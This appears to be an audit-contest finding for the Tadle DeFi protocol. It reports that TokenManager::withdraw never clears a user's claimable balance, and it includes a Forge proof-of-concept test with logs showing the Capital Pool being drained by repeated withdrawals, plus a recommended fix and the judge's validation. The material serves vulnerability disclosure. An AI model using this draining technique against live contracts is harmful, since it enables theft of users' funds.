Tadle
Tadle
DeFiFoundry
27,750 USDC
View results
Previous Next
Submission Details
Severity: high
Valid

Anyone can drain all tokens from the Capital Pool

izcoser

Summary

The TokenManager::withdraw external function allows users to withdraw their tokens. It checks the user's claimable amount using a map and proceeds with the withdrawal. However, the claimable balance is not zeroed out at the end, allowing any user to repeatedly call withdraw until the pool is empty.

Vulnerability Details

Users gain a claimable balance through various interactions with the protocol, the simplest of them being creating an offer with PreMarktes::createOffer and then closing said offer with PreMarktes::closeOffer.

With that claimable balance registered in the contract, users can call TokenManager::withdraw to withdraw funds.

TokenManager::withdraw checks a mapping for msg.sender's balance and performs a withdrawal, but does not zero the balance afterwards.

function withdraw(
address _tokenAddress,
TokenBalanceType _tokenBalanceType
) external whenNotPaused {
uint256 claimAbleAmount = userTokenBalanceMap[_msgSender()][
_tokenAddress
][_tokenBalanceType];
​
if (claimAbleAmount == 0) {
return;
}
// ... withdrawal code follows
// claimAbleAmount is never set to zero.

The forge test below showcases the vulnerability as described above:

function test_anyone_can_drain_capital_pool() public {
// Give lots of money to the capital pool.
deal(address(mockUSDCToken), address(capitalPool), INITIAL_TOKEN_VALUE);
​
console.log("Initial user balance: ", mockUSDCToken.balanceOf(user));
console.log("Initial capital pool balance: ", mockUSDCToken.balanceOf(address(capitalPool)));
​
// Data for creating an offer, not important for the attack.
uint256 points = 1000;
uint256 amountToken = 1000000 * 1e18;
uint256 collateralRate = 12000;
uint256 eachTradeTax = 300;
​
vm.startPrank(user);
preMarktes.createOffer(
CreateOfferParams(
marketPlace,
address(mockUSDCToken),
points,
amountToken,
collateralRate,
eachTradeTax,
OfferType.Ask,
OfferSettleType.Turbo
)
);
​
// Close the offer.
address offerAddr = GenerateAddress.generateOfferAddress(0);
address stockAddr = GenerateAddress.generateStockAddress(0);
​
preMarktes.closeOffer(stockAddr, offerAddr);
// We have to approve the token manager as the capital pool's spender.
// I have submitted another issue for this.
capitalPool.approve(address(mockUSDCToken));
for(uint256 i = 0; i < 10; i++){
tokenManager.withdraw(address(mockUSDCToken), TokenBalanceType.MakerRefund);
}
console.log("Final user balance: ", mockUSDCToken.balanceOf(user));
console.log("Final capital pool balance: ", mockUSDCToken.balanceOf(address(capitalPool)));
vm.stopPrank();
}

Ran 1 test for test/PreMarkets.t.sol:PreMarketsTest
[PASS] test_anyone_can_drain_capital_pool() (gas: 817482)
Logs:
Initial user balance: 100000000000000000000000000
Initial capital pool balance: 100000000000000000000000000
Final user balance: 110800000000000000000000000
Final capital pool balance: 89200000000000000000000000

The example above uses a naive multiple call approach for simplicity's sake.

A real life attacker would most likely use a carefully crafted smart contract to withdraw all tokens from the bridge in a single transaction, giving no chance for the administrator to react by pausing or upgrading the protocol.

Impact

All tokens held by the protocol could be drained, leaving users with devastating losses.

Tools Used

Forge.

Recommendations

Zero out the claimable balance in TokenManager::withdraw, insert code at line 148:

userTokenBalanceMap[_msgSender()][_tokenAddress][_tokenBalanceType] = 0

This will stop users from withdrawing their claimable balance multiple times, even reentrancy attacks will not work because the amount is zeroed out before the external call.

Updates

Lead Judging Commences

0xnevi Lead Judge about 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

finding-TokenManager-withdraw-userTokenBalanceMap-not-reset

Valid critical severity finding, the lack of clearance of the `userTokenBalanceMap` mapping allows complete draining of the CapitalPool contract. Note: This would require the approval issues highlighted in other issues to be fixed first (i.e. wrong approval address within `_transfer` and lack of approvals within `_safe_transfer_from` during ERC20 withdrawals)

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.